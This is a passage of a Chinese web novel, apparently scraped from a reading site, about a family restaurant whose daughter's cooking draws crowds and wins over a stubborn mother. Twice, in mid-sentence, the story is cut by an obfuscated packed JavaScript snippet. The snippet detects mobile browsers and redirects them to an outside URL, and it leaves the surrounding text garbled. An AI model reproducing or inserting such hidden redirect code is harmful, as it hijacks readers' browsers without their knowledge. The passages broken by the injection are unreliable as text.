目送王大爷走出饭馆，许妈转念就想明白了。王大爷是喜欢她闺女的手艺。上次就是吃了闺女做的蛋炒饭，才松口宽限十天，现在甚至不提期限了，只说有了再给。 这都多亏了闺女手艺好，王大爷爱吃，否则哪来这样的宽容？许妈笑了笑，这时有客人喊道：“老板，来一份苕粉皮子！” “好嘞！” 到了十二点，店里座无虚席。许妈又要收银点菜，又要端菜收拾桌子，忙得脚不沾地。 虽忙，心里却高兴！生意这么好，她能不高兴吗？ 此时，街边觅食的路人瞥了一眼许记饭馆。之前这家店冷冷清清，如今饭点居然坐满了？怎么回事？ 另一个路人望了望对面的金玉面馆。她正找地方吃午饭，犹豫着要不要进去吃碗小面。可看到面馆里空无一人，便打消了念头。 一是没人显得尴尬，二是没人怕是味道不行。 于是她继续往前走，看见了许记饭馆，见里面人多，思忖片刻，迈步进去。 一进门，浓郁的香气扑面而来，让她脚步一顿。 香！太香了！香得让人头晕！ 等她按老板推荐点了招牌蛋炒饭，只尝一口，便震撼得五脏六腑都要沸腾！ 好吃！ 太好吃了！ 太太太好吃了！ 这蛋炒饭，好吃得像是天上的神仙炒出来的！ 没想到春熙老街还藏着这么一家宝藏小饭馆！ 十二点二十，林燕婷和林爸走进许记饭馆。 尝了一口鲜气四溢的蛋炒饭，林爸深呼吸，冷静了许久，才道：“比之前在珍馐记吃的蛋炒饭好吃多了。” 珍馐记是海城有名的贵价餐厅，厨师据说是国宴大厨，味道没得说。可许记饭馆的蛋炒饭，竟比那里好吃许多倍！ 林燕婷狼吞虎咽：“何止好吃多了？是好吃了一百倍一千倍！” 林爸点点头，低头呷了口紫苏茶，惬意地叹口气：“这么好吃，该叫你妈也来尝尝。” “我妈那脾气你还不知道？固执得很，肯定不会吃的。” “唉，也是。”林爸咂咂嘴。这么好吃的蛋炒饭，这么好喝的紫苏茶，老婆尝不到，实在可惜。 吃完饭离开时，林爸还是打包了一份蛋炒饭和紫苏茶，想再试试劝劝林妈。 林妈见林爸回来，问道：“怎么中午回来了？” “给你带了许记饭馆的饭，还有紫苏茶，你尝尝。” 林妈想起昨天那紫苏茶的妙味，不着痕迹地咽咽口水：“说了别把这些东西拿到我面前。” “老婆，”林爸坐到她面前，“不尝尝真的太可惜了。这家的蛋炒饭，比那些大餐厅好吃得多，我从来没吃过这么香的。” “不就是蛋炒饭，能好吃到哪儿去？” “你尝尝就知道了。”林爸话锋一转，“不尝是你的损失啊。” “至于吗？还能好吃到不尝就损失？” “当然！”林爸说着打开饭盒，“你闻闻多香。” 盖子一开，金灿灿的蛋炒饭暴露在空气中。浓郁的香气哗地扑到林妈脸上，争先恐后钻入鼻腔，她瞳孔微微一缩。 林爸：“怎么样，香吧？来，尝一口。” 喉头滚动了几下，林妈咬牙道：“一点都不香，要吃你自己吃。” 林爸又劝了几次，林妈始终不松口。 她绷着脸，眼睛却不受控制地往那金灿灿的饭粒上瞟，喉头悄悄滚动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578555|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那香气太霸道，无孔不入地往鼻子里钻，勾得她馋虫蠢动。可一想到自己之前斩钉截铁嫌弃拒绝的话，那点动摇又被压了下去。她拉不下这个脸。 “行行行，你不吃就算了，”林爸见她油盐不进，终于放弃，小心地盖上饭盒，又把那杯粉莹莹的紫苏茶拿在手里，“我带去公司，饿了吃。” 林妈眼睁睁看着他把饭盒和茶杯收进袋子，嘴唇动了动，终究没阻拦。心里却忍不住埋怨：老林这人，怎么说带走就真带走了？再多劝一句，说不定、说不定她就…… 林爸提着袋子出了门，家里顿时安静下来。可空气里，仿佛还残留着蛋炒饭勾魂摄魄的香气，丝丝缕缕，萦绕不散。 紧接着，林妈舌尖清晰地回忆起昨日那口紫苏茶的滋味，清凉、甘甜，带着奇异的草木芬芳。那味道和蛋炒饭的香气，如同魔咒缠住了她，越是想忘记，就越是清晰。 越是克制，想尝一口的欲望就越是强烈。 至傍晚，林燕婷和林爸干脆不回家吃晚饭，直接去往许记饭馆。林妈一个人对着满桌菜，却食不知味，味同嚼蜡。 平常可口的家常菜，此刻竟有些难以下咽。脑子里翻来覆去，只有那金灿灿、油亮亮的蛋炒饭，和那杯剔透粉莹的紫苏茶在打转。 勉强吃了小半碗饭，她就再也吃不下去了，心里那股被强行压下的馋意，如同野火燎原，再也遏制不住。 晚上八点，天色已黑。林妈在家里坐立难安，馋意啃噬着理智。她猛地站起身：“家里酱油好像没了，我出去买一瓶。” 她快步走出小区，脚步却不自觉地朝春熙老街拐去。越靠近许记饭馆，心跳得越快，脸上发烫，做贼似的左右张望，生怕被林爸和林燕婷发现。 好不容易到了店门口，里面灯火通明，坐了不少食客。她深吸一口气，强装镇定地走进去，找了个最靠里的角落坐下，飞快地点了一份招牌蛋炒饭和一杯紫苏茶。 当炒饭和紫苏茶端上来时，她再也顾不得什么形象，拿起勺子就舀了一大口送进嘴里。 刹那间，极致的浓香在口中炸开，米饭的q弹，鸡蛋的鲜醇、葱花的辛爽完美融合，好吃得她几乎落泪。 她一口蛋炒饭，一口紫苏茶，吃得额头冒汗，也顾不上擦，完全沉浸在这前所未有的美味中。 就在这时，林燕婷与林爸一同走进了许记饭馆。 “爸，咱们吃点夜宵，你就别想给妈打包了，你中午不是试过吗，她绝对不会吃……”林燕婷话没说完，目光在店内一扫，猛地顿住，使劲揉揉眼睛，难以置信地指向最里面的角落，“爸！你看那个……是不是我妈？！” 林爸顺着女儿指的方向望去，只见他那口口声声说“一点都不香”、“要吃你自己吃”的老婆，此刻正坐在角落里，埋着头，手里的勺子舞得飞快，对着面前一盘蛋炒饭“奋战”，那架势，堪称风卷残云。 林妈正吃得忘我，忽然感觉有两道格外熟悉的视线落在自己身上。她下意识抬头，正好与丈夫和女儿惊愕、戏谑的目光撞个正着。 “咳！咳咳！”她一口饭差点噎住，脸瞬间红透，拿着勺子的手僵在半空，进也不是，退也不是，恨不得找个地缝钻进去。 林爸强忍笑意，故意拉长了声音：“老婆，你不是说出去买酱油？怎么买到许记饭馆来了？” 林妈：“……” 11. 第十一章 林妈的脸颊红得像是刚煮熟的虾，举着勺子的手悬在半空，进退两难。这一刻，她恨不得能立刻从原地消失。 她窘得无地自容，简直想一头撞死在面前那盘还没吃完的蛋炒饭里。最终，她讷讷地放下勺子，强作镇定地试图挽回最后一点面子：“我、我就是路过……顺便进来看一眼……看看这家店是不是真像你们说的那么干净、那么好吃……” “哦，看看是不是真像我们说的那么干净、那么好吃。”林燕婷拖长了语调，挨着她坐下，单手托腮望着她，“那结果怎么样呀？我们说的话，到底属不属实？” 林妈看着女儿戏谑的眼神，又瞥见丈夫拼命压住嘴角笑意的模样，心里清楚，这个台阶是下不来了。她索性破罐子破摔，心一横，重新拿起勺子，狠狠舀了一大口炒饭塞进嘴里，含糊不清地说：“……还行吧……干净是挺干净，味道嘛……也就一般。” 这话说得口是心非，配上她那副仿佛饿了八百年的吃相，彻底逗笑了林爸和林燕婷。父女俩再也忍不住，放声大笑起来。 林妈被他们笑得脸颊发烫，可嘴里那极致的美味又让她实在舍不得停下。她只好一边努力维持着最后一点“威严”，一边速度不减地继续往嘴里送饭。 林爸笑够了，体贴地递过一杯紫苏茶：“慢点吃，别噎着。喜欢就喜欢嘛，有什么不好意思的？这么好吃的东西，谁忍得住？” 林妈依旧嘴硬：“也就……还行吧……” 等到蛋炒饭上桌，一家三口围坐在一起，气氛是从未有过的融洽。林妈最初的那点尴尬，终于在食物的美味和家人的调侃中渐渐消散。她吃着炒饭，喝着冰凉的紫苏茶，心里的别扭早被满满的惬意取代。 林燕婷和林爸见她吃眼角弯弯，相视一笑。饭后离开时，林燕婷故意用调侃的语气问：“妈，明天周末，中午还来许记吃不？” 林妈不假思索：“成啊，那我们————”话到一半，她才猛地反应过来，急忙改口，“虽说这店是挺干净，但也不能总在外面吃。外头的东西，到底不如家里……” 林燕婷哈哈一笑，一巴掌拍在她肩上：“得了吧妈，我还不知道你？你就是拉不下面子！明明吃得那么香，偏说一般！明天我们再来吃呗，我跟爸保证不笑你！” 被当场拆穿的林妈，脸又一次瞬间爆红。她噎住了似的，半天说不出一个字。 最后，她咬咬牙。都怪许记的东西太好吃，不然她怎么会破戒被抓个正着！怎么会让这父女俩看了笑话！ 都怪许记，没事干嘛把饭做的这么好吃？！ 已近打烊时间，却仍有客人陆续进门。或许因为周五晚上大家都放了假，来吃饭的人格外多。 “今天又要晚点打烊了。”许妈对许知味说。 许知味：“没事。” 第二天周六，店里的人更多了。中午时分，座无虚席。 王大爷捏着下巴，对许妈感慨：“你们这生意，真是眼看着一天比一天红火啊。” 许妈笑着递上紫苏茶，听见他问：“那个槐叶冷淘面，啥时候开卖？” “还没准备好，等要卖了，第一个告诉您。” “成。” 王大爷呷了口茶，望着满座的店面，不由得啧啧称奇。这许记饭馆，真是一天一个样，人气越来越旺。 “老板，我这苕粉皮子能再加点辣不？”有熟客扬声问。 “好嘞，马上来！”许妈利落地应着，脚下生风，在桌椅之间灵活穿梭。点单、上菜、收拾、结账，她忙而不乱，有条不紊。 后厨里，许知味和许爸更是片刻不得闲。灶火旺盛，锅铲翻飞，一份份蛋炒饭、一盘盘苕粉皮子、一碟碟凉拌小菜在他们手中迅速完成，再由许妈端出去，换来客人一声声满足的赞叹。 “老板，还有位置吗？”一对年轻情侣探头问。 “不好意思，现在满座了，您要不要拿个号稍等一会儿？”许妈略带歉意地递过一张号码牌。 那对情侣看着坐满了的小店，将号码牌接了过去。 旁边一位大哥“呼噜”一声吸完最后一口苕粉皮子，意犹未尽地抹嘴喊道：“老板，结账！你们家这手艺，真是绝了！明天我还来！” 许妈笑着过去算账：“您吃得满意就好！” “满意！太满意了！”大哥嗓门响亮，“比那些大饭店实在多了，价格便宜，味道还这么好！” 他这一嗓子，让等位的客人更加心痒难耐。 这时，林爸林妈和林燕婷也出现在门口。林爸张望了一下：“坐满了啊。” 林燕婷眼尖，瞧见王大爷旁边一桌似乎快吃完了，赶紧拉着父母挤过去：“那边快好了，再等等！” 果然，没过两分钟那桌客人起身离开。许妈迅速收拾干净，林家人顺利落座。 点完菜等餐，他们听见旁边等位的食客闲聊：“听说这家蛋炒饭是一绝！” “何止蛋炒饭，我朋友说连凉拌萝卜丝都好吃得能吞舌头！” “我是被香味勾过来的，也太香了吧……” 这些议论飘进耳中，林燕婷莫名生出一种“吾道不孤”和“我们早就知道”的微妙自豪感。 很快，他们的菜上齐了。金黄的蛋炒饭，晶莹的苕粉皮子，脆嫩的凉拌萝卜丝，还有三杯清透的紫苏茶。 林妈拿起勺子就开动。蛋炒饭入口的瞬间，那极致的香醇与幸福感再次涌上心头。 饭吃到一半，又进来几位熟客，熟门熟路地和许妈打招呼：“老板娘，今天生意更好了啊！老样子，三份蛋炒饭，打包！” “好，可能要稍等一会儿，前面还有几单。” “没事儿，等得起！” 小小的饭馆里，空气中弥漫着各种食物混合的浓郁香气，勾得人馋涎欲滴。人声、碗碟声交织成一片，充满了热闹的烟火气。 许知味炒好一份饭，见许妈没空来端，便亲自送到前厅。 她望了一眼座无虚席的大堂，累是真的累，可听着满堂的赞誉，看着母亲忙碌却带笑的脸，心底涌起的是满满的成就与踏实。 许记的热闹，从午市一直持续到下午三点过后，饭点高峰过去，才渐渐缓和下来。 许妈终于松了口气。毛毛踮起脚：“妈妈，毛毛给你擦汗。” 许妈笑着弯腰，任由女儿用小手替她擦拭额角。毛毛撅着小嘴，瓮声瓮气地说：“妈妈，毛毛想长大。” “为什么呀？” 毛毛举起小拳头，奶声奶气地说：“长大了，端菜菜！帮妈妈！” “想帮妈妈？”许妈亲了亲毛毛肉嘟嘟的脸颊。 小女儿贴心的话像暖流漫过心间，身上的疲惫仿佛都随之消散。她搂着毛毛，柔声说：“毛毛真乖，妈妈等你长大帮忙。” 毛毛用力点头，像只小泥鳅似的滑下凳子，“哒哒哒”跑进后厨。 后厨里，许知味刚炒完最后一单，正轻轻揉着发酸的手腕。 毛毛跑过来一把抱住她的腿，仰起小脸，大眼睛扑闪扑闪：“姐姐，姐姐！” 许知味低头看着腿上的“小挂件”，眉眼柔和下来：“怎么啦，毛毛？” 毛毛一脸认真，奶声奶气地问：“姐姐，有没有什么药药，吃了就能马上长大？” 许知味被逗笑了，弯腰把她抱起来：“你想长大？为什么这么急呀？” 毛毛搂住姐姐的脖子，凑到她耳边，用自以为很小声、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578556|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实大家都听得见的音量说：“嗯！想长大！长大了帮妈妈！帮姐姐！帮爸爸！” 许知味心里一软，蹭蹭她的小鼻子：“我们毛毛真棒，这么小就知道孝顺。” 毛毛眨巴着大眼睛，困惑地问：“什么是孝顺呀？” “孝顺啊，”许知味想了想，用最简单的话解释，“就是毛毛想对爸爸妈妈、对姐姐好，想帮我们，这就是孝顺。” 毛毛立刻挺起小胸脯，大声宣布：“毛毛会一直孝顺！” 正在旁边收拾灶台的许爸听了，乐呵呵地接话：“哎哟，我们毛毛这么乖啊？那我可得把你这话录下来，免得你长大以后耍赖不认账！” “毛毛，不会！”毛毛用力拍胸脯。 童言稚语让疲惫的许知味和许爸都笑出了声，后厨里满是快活的气息。 没过几小时，晚市又如潮水般涌来。后厨再次响起急促的订单铃，前厅很快坐满，人声鼎沸。许妈在桌椅间穿梭，几乎脚不点地，额角的汗都来不及擦。 这一忙，就忙到了深夜十一点。送走最后一批依依不舍的客人，一家人才真正得以喘息。 打烊后，简单收拾完毕，一家人围坐着吃夜宵。许妈满脸倦色，眼中却闪着兴奋的光。她拿着计算器又按了一遍，声音带着压抑不住的喜悦：“你们猜，今天净赚多少？” 许爸凑过来一看，眼睛顿时睁大了：“三千多？！真的假的？” “真的！”许妈激动得脸颊发红，“开店五年，从没有哪一天净利润这么高！以前生意最好的时候，一天利润也就两千出头，那个月总共也就赚了四万。其他月份，能有两万利润就谢天谢地了！” 许爸也喜得直搓手，日利润，这可真是……破纪录了啊。 相比父母的激动，许知味显得平静许多。她慢条斯理地吃完最后一口苕粉，才开口：“今天是周六，休息的人多。明天周日，人估计也不会少。妈，你今天也看到了，你一个人又要点单、端菜、收银、收拾，根本忙不过来。咱们必须招个服务员了。” 许妈毫不犹豫地道：“招！明天我就写招工启事贴出去！今天确实吃力，有好几次差点送错菜。是得请个人了。” 许爸也点头同意。 确定要请人之后，许知味又转到另一个话题：“还有一件事。” 许爸许妈齐声问：“什么事？” 许知味说，目前来店里的客人，九成点的都是蛋炒饭、苕粉皮子、凉拌萝卜丝和紫苏茶。其他菜也有人点，但不多。 所以她考虑之后，决定暂时不推其他菜品。多做一样，备菜工作量就大一分，不如先专注做好这几样，既能保证质量，也能让全家轻松些。 许爸有些犹豫：“就卖这几样？会不会太少了？” “蛋炒饭、苕粉皮子、凉拌萝卜丝、紫苏茶，我再加个槐叶冷淘面，暂时这几样，够了。” 许爸许妈想了想，同意了她的决定。 “还有，”许知味接着说，“营业时间也得调整。以后每天十一点开门，晚上九点打烊，大家能多睡一小时。” 像今天这样十一点打烊，收拾完睡下都快十二点了，明早不到六点又要起床买菜备菜，睡眠严重不足，长期下去身体吃不消。 餐饮行业本就是起早贪黑赚辛苦钱，许家人都已习惯。只是以前生意平淡，还不觉得累。如今生意红火，再像从前那样拼，身体迟早垮掉。 许妈当即拍板：“行，就晚一小时开门。再怎么说，身体也比赚钱重要。” 灯光下，一家人脸上虽带着浓浓的疲倦，却更洋溢着对未来的期盼与干劲。 小小的饭馆，仿佛正乘着一股蓬勃的香气，驶向更加红火明亮的明天。 12. 第十二章 次日，王大爷心里还惦着昨儿爽滑弹牙的苕粉皮子，不到十点，就背着手，溜溜达达地朝许记走去。他寻思着今日清闲，正好能慢悠悠吃上一碗，再跟相熟的食客唠唠家常。 十点前，刚到店门口，他便是一愣。那熟悉的卷闸门只拉开了一半，里头静悄悄的，不见往常这时早已飘出的食物暖香，也不闻那碗筷的动静。 “这是咋回事？”王大爷心里咯噔一下，不由得弯下腰，朝那半开的门缝里张望，“今儿个不开张了？” 这可不成！他还得吃苕粉皮子呢！他着急地拍门，里头传来一阵窸窣响动。不一会儿，许妈系着沾了些许油渍的围裙，从里面探出身来。 王大爷赶忙指着门，语气带着几分急切：“老板，今儿不做生意了？我还等着那口苕粉皮子呢！” 许妈连忙赔笑解释：“哎哟，真对不住您，大爷！我们从今儿起，改成十一点开门了。昨天收摊太晚，孩子心疼我们，非要我们多歇会儿。以后啊，咱这小店就固定十一点开门迎客。” 王大爷一听，悬着的心算是落了一半。只要不是不开门就好。可低头瞅瞅时间，离十一点还差着近一个钟头，这等待瞬间变得难熬起来，心里像是有小猫在挠。 “十一点啊……那还得等上好一阵呢。”他话里不免透出失望。 许妈见他这般模样，心里也有些过意不去。王大爷不单是房东，如今更是店里的老主顾，几乎日日来捧场。 她侧身让开些：“大爷，您要是不嫌我们这会儿还在备菜，里头乱糟糟的，就先进来坐着等？我让知味先给您弄一碗粉，您慢慢吃着，可好？” “那敢情好！”王大爷顿时眉开眼笑，毫不客气地一矮身，利索地从那半开的卷闸门下钻了进去，“还是老板体贴人！” 怕再有不知情的食客过来，许妈顺手将卷闸门完全拉下关好。王大爷熟门熟路地在靠窗的老位置坐下，四下安静，只隐约能听到后厨细微的准备声。 不多时，许妈便端着一只大碗走了出来。碗里红油鲜亮，衬得那苕粉皮子莹润透亮，酸辣诱人的香气直往鼻子里钻。 “大爷，您的苕粉皮子，小心烫着。” “哎，好，好！”王大爷乐呵呵地接过筷子，先深深吸了一口那开胃的香气，“你们改时间好，多歇歇是应当的，身子骨要紧。往后啊，老头子我就掐着十一点再来！” 他美滋滋地夹起一筷子滑溜的粉皮送入口中，熟悉的爽滑劲道瞬间在齿间蔓延，征服了味蕾。 独享着这份“提前特权”，王大爷满足地眯起眼，甚至轻轻哼起了不成调的小曲儿。 此刻店外，前来吃饭的食客们对着紧闭的大门发起了懵。时间已过十点，往常早已热气腾腾的店铺，此刻却门户紧闭。 “咦？这都过十点了，怎么还没开门？” “是啊，往常这时候早该营业了！” “别是今天不开了吧？我特意赶早过来的……” “不能吧！我就馋这口蛋炒饭才早起的，结果吃不上？” 疑惑的议论声隐隐透过门板传了进来。有那性子急的熟客凑到窗边，眯着眼从缝隙往里瞧，竟隐约看到店里亮着灯，还有个人影正坐在那儿吃饭！ “里头有人！有人在里面吃着呢！”这一声吆喝，顿时在门外引起一阵小小的骚动。 “那不是王大爷吗？他咋在里头？” “啥？有人能吃饭？为啥不给我们开门？” “对啊，凭啥他能吃咱们不能？” “老板！开门！还做不做生意了？” 敲门声和带着不满的呼唤开始响起。店内的王大爷动作一顿，嗦粉的节奏慢了下来，望向许妈。 许妈也是哭笑不得，赶紧朝王大爷摆摆手，示意他安心继续吃，自己则快步走到门边，“哗啦”一声将卷闸门拉上去。 门外聚集的七八个食客瞬间安静下来，目光齐刷刷地投向门口的许妈。 “老板，这是咋回事啊？今天不开张了吗？”一位常来的大妈率先问道，眼神忍不住往店里瞟，正好瞧见王大爷独自一人嗦粉嗦得正香，那满足的神情更是勾得人馋虫大作。 许妈向众人解释：“对不住，实在对不住各位！都怪我们没提前贴个通知。从今天起，我们许记改成上午十一点正式开门了。主要是昨天忙得太晚，孩子心疼我们老两口，想让我们多歇会儿。”她指了指墙上的挂钟，“您几位看，这会儿还差着差不多一个小时呢。后厨还在备料，也没完全准备好。” 众人一看时间，确实还早。可瞧着王大爷碗里那诱人的苕粉皮子，闻着空气中若有似无的酸辣香气，这等待就显得格外煎熬。 “十一点……那我这趟不是白跑了？”一个年轻姑娘小声嘀咕，脸上写满了失落。 “老板娘，您看我们都来了，能不能通融一下，提前开张？闻着这味儿，我这脚都挪不动步了！”另一位熟客认真地恳求。 许妈扫视门外一张张期盼的面孔，都是老主顾，心里着实为难。后厨备料确实需要时间，提前营业，万一忙中出错，反而不好。 许知味从后厨走了出来，她已听到前面的动静。与许妈交换了一个眼神后，她沉稳地开口：“各位客人，实在抱歉，新的营业时间从今天正式开始。现在后厨还在准备，为了保证大家吃到的食物味道稳定，需要一些时间。如果各位不介意等待，可以先进来坐着喝杯茶水，但点餐上菜可能还是要等到十一点左右，还请大家多多理解包涵。” 她语气诚恳，条理清晰，既说明了情况，也表达了歉意。食客们虽然馋得慌，但听她这么一说，也觉得在理。 “行吧行吧，理解，你们也确实辛苦。” “那我进去坐会儿等等，反正今天没事！” “给我也记一碗苕粉皮子，一到十一点就给我做上！” 有人带头，其他人也纷纷附和，表示愿意等待。许妈赶紧侧身，热情地将客人们让进店内。 趁着众人落座，许知味顺便告知，因目前饭馆人手有限，从今天起，只供应蛋炒饭、苕粉皮子、槐叶冷淘面、凉拌萝卜丝和紫苏茶这几样菜品。 一位食客好奇地举手问道：“槐叶冷淘面？这是什么面？” 王大爷抢在许知味前面，带着几分炫耀的语气说：“这个我吃过！是用槐叶汁和面做的凉面，那味道，清香着呢！他们家做的，比外面那些普通凉面好吃百倍！” “真有这么好吃？” “你还不信他们家的手艺？” “也是，”有食客附和，“老板手艺没得说，这槐叶面肯定差不了。” “老板娘等会儿给我来一碗尝尝！对了，多少钱？” “也是十二块。” “外面的凉面才八块一碗，你们这贵四块呢。” 许知味还没开口，王大爷又抢了先：“贵四块？你想想，味道可是好了百倍！再想想他们家的蛋炒饭，是不是也比外面贵几块，味道是不是好了不止一点？就这价，咱们还占便宜了呢！” “嘶……你这么一说，还真是。哈哈，十二就十二吧，等会儿一定得尝尝！” 大家喝着许妈倒上的免费茶水，闲聊着，目光总忍不住往后厨飘，盼着时间快点走。 王大爷在一片羡慕的目光中，慢条斯理地吃完了最后一口粉，连汤也喝得干干净净，这才心满意足地站起身，对着许妈笑道：“得，吃舒坦了。老板，瞧这架势，你们今天怕是又得跟昨天一样忙喽！这生意，想不红火都难！” 这话引得等待的食客们一阵善意的哄笑和附和。 “是啊，味道这么好，生意能不红火吗？” “就是有点后悔，发现你们这家宝藏饭馆太晚了！” “老板你们家这么好吃，知道的人居然还不算多，太没天理了！” 许妈听着食客们七嘴八舌的夸赞，露出既欢喜又有些不好意思的笑容，一边收拾着王大爷的碗筷，一边笑着回应：“都是大家伙儿抬爱，我们就是本本分分做点家常吃食。” 王大爷背着手，笑眯眯地踱到门口，又回头叮嘱了一句：“忙归忙，身子骨可得当心，细水才能长流嘛！” “晓得了，谢谢王大爷关心！”许妈笑着应道。 店里的挂钟指针，在食客们时不时的抬头张望中，终于不紧不慢地指向十一点。 “到点了！”不知是谁喊了一嗓子。 许妈深吸一口气，洋溢着热情的笑容，正式将卷闸门完全拉开，明媚的阳光瞬间洒满店堂。早已等候多时的食客们立刻迫不及待地点起单来。 “老板，一碗槐叶冷淘面！” “我要苕粉皮子，多加点辣子！” “蛋炒饭一份，再加个凉拌萝卜丝！” “我也要槐叶冷淘面，倒要尝尝是不是真像王大爷说的那么神！” 后厨里，许知味和许爸忙碌起来。灶火燃起，锅铲翻飞，熟悉的香味再次升腾、弥漫。一份份色泽诱人、香气四溢的食物被迅速端出，送到翘首以盼的食客面前。 槐叶冷淘面果然没让人失望。翠绿的面条浸润在清爽的酱汁里，上面点缀着细白的蒜末和花生碎，光是看着就让人食欲大动。 第一位点这面的食客夹起一筷子送入嘴里，眼睛顿时一亮，含糊不清地连连称赞：“嗯！好吃！凉爽劲道，这味道绝了！确实比外头的凉面好吃太多！十二块，值！” 先前觉得稍贵的食客尝过之后，也彻底没了意见，埋头吃得酣畅淋漓。 小小的饭馆里，顿时充满了满足的咀嚼声、愉快的谈笑声和碗筷碰撞的清脆声响，交织成一片热闹的图景。 许知味在后厨心无旁骛，专注于手中的锅勺，确保每一份出自她手的食物都保持着最佳风味。 许爸手脚麻利地拌着萝卜丝，一份份装好，脸上是藏不住的笑意。 随着午市高峰的真正到来，许记饭馆再次迎来了客流汹涌的时刻。虽然只售卖有限的几样菜品，但丝毫未减食客们的热情。 蛋炒饭的镬气鲜香、苕粉皮子的酸辣开胃、槐叶冷淘面的清爽宜人、凉拌萝卜丝的脆嫩爽口，再配上紫苏茶那独特的草本香气，它们交织融合，共同谱写出独属于这间小店的、活色生生的烟火乐章。 许妈正忙着帮一桌客人点菜，忽听得邻座一位客人说道：“老板娘，我怎么觉着你们家这凉拌萝卜丝……” 许妈心头微微一紧，忙问：“怎么了？萝卜丝有什么问题吗？” 那客人接着道：“好像比之前更好吃了？” 旁 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这朱沱汆汤肉，起源于长江上游的朱沱镇，以新鲜的猪眉肉、猪肝等为主料，突出一个“鲜”字，汤味醇美，肉片滑嫩，是川渝人家颇为喜爱的一道家常汤菜。许知味一家都是川渝人，都好这一口。 没过多久，新鲜的猪眉肉、猪肝、棒骨，以及做这道菜必不可少的红薯淀粉和各种配料便送到了店裡。 许知味先将棒骨焯水，加入姜片和少许料酒，放入大锅中文火慢熬起来。这棒骨熬出的高汤，便是朱沱汆汤肉那鲜美底味的灵魂所在。 接着，她让许爸处理主料。猪眉肉切成薄而均匀的片，猪肝也切成薄片，用清水反复冲洗，处理干净血水与腥气。 许爸将肉片和肝片一同放入大盆中，许知味接手，加入少许盐、料酒、胡椒粉抓匀入味，再分次加入精准称量过的红薯淀粉和少量清水，仔细抓拌，让每一片肉和肝都均匀地裹上一层薄而透亮的粉浆。 “这一步是关键，”她一边操作一边对许爸说，“粉浆的厚薄直接关系到成品的滑嫩度。粉多了糊口，粉少了锁不住肉汁，煮出来就容易老。” 许爸认真记下女儿说的肉与粉的比例，以往他都是凭感觉，确实不够精确。 趁着许知味腌肉的功夫，许爸便将泡姜剁碎，又切了些蒜末、葱花备用。 后厨里，棒骨汤的香气渐渐浓郁起来，汤色开始呈现出诱人的奶白。许知味将火调至微微沸腾的状态保持住。 快到三点四十时，许知味另起一锅，舀入几大勺熬好的棒骨原汤，大火烧开。待汤滚如泉涌，她用手将裹好粉浆的肉片和肝片，迅速而均匀地抖散，一片片滑入沸腾的汤中。动作行云流水，干净利落。 肉片遇高温，表面的粉浆瞬间凝固，形成一层保护膜，牢牢锁住了内部的鲜汁。 待所有肉片下完，汤再次微滚，肉片纷纷浮起，颜色转为玉白，她立刻用漏勺将所有肉片肝片捞出，放入一个预备好的大汤碗中。 这一步谓之“汆”，火候与时间的拿捏至关重要，多一秒则老韧，少一秒则夹生，许知味把握得恰到好处，确保肉片处于极致的嫩滑状态。 锅里的汤再次烧沸，许知味将准备好的泡姜末、蒜末倒入汤中，再加入适量的盐和胡椒粉调味。 酸鲜的热力瞬间将泡菜的风味激发出来，与棒骨汤的醇厚融合，形成一种令人食指大动的复合香气，在后厨弥漫开来。 最后，她往汤里加入切好的盐白菜稍煮片刻，调好味后，便将这锅滚烫酸鲜的汤水，猛地浇入之前盛放肉片的大汤碗中。 “刺啦”一声悦耳的响动，热汤与肉片激烈碰撞，热汽携带着浓香蓬勃而起，香味在那一刻达到了巅峰。最后，她撒上一把翠绿的葱花点缀。一道地道的朱沱汆汤肉便大功告成。 但见汤色清亮微白，嫩滑的肉片与肝片在其中半沉半浮，翠绿的葱花与金黄的泡姜泡椒末点缀其间，色泽清雅诱人，香气扑鼻而来。 许爸将这一大碗汆汤肉小心端到家人吃饭的桌上，又配了清炒土豆片、自家腌的酸辣泡儿菜，盛好四碗米饭。 “来来来，快尝尝咱闺女的手艺！”许爸笑着招呼许妈。 许妈早已被汆汤肉的香气勾得直咽口水。她吹散热气，小心夹起一片肉片送入嘴里。 肉片极其嫩滑，几乎是入口即化，外层薄薄的粉浆带来了独特的滑溜口感。泡姜带来的酸味恰到好处，既开胃解腻，又丝毫没有掩盖猪肉本身的鲜美。 汤头更是精华所在，棒骨熬出的醇厚鲜甜与泡菜的清爽酸香完美融合，喝上一口，从喉咙到胃里都暖洋洋的，酸鲜开胃，回味悠长！ “好吃！”许妈埋头喝了一大口汤，满足地咂咂嘴，“这肉片嫩的，这汤头鲜的，我看比朱沱镇上的老师傅做得都不差！” 许知味微微一笑。为了不显得过于突兀，她做这朱沱汆汤肉，依旧如同做凉拌萝卜丝等菜一样，只用了三四分心思，并未发挥全部实力做到极致。 她打算像之前一样，假装每日进步，让菜品的味道一天天变得更好，最终“水到渠成”地达到她心目中的完美水准。 这时，旁边两桌尚未离开的食客嗅着空气中霸道的香气，忍不住望过来：“老板，你们这是在吃汆汤肉吗？这香味……也太香了吧！” 13. 第十三章 许知味闻声转过头，唇角漾开一抹温柔的笑意：“是汆汤肉。” 白衣食客吸了吸鼻子，喉结滚动：“太香了……这香味勾得人走不动道。店里卖这道菜吗？” “自家做着吃的，暂时还没打算卖。” 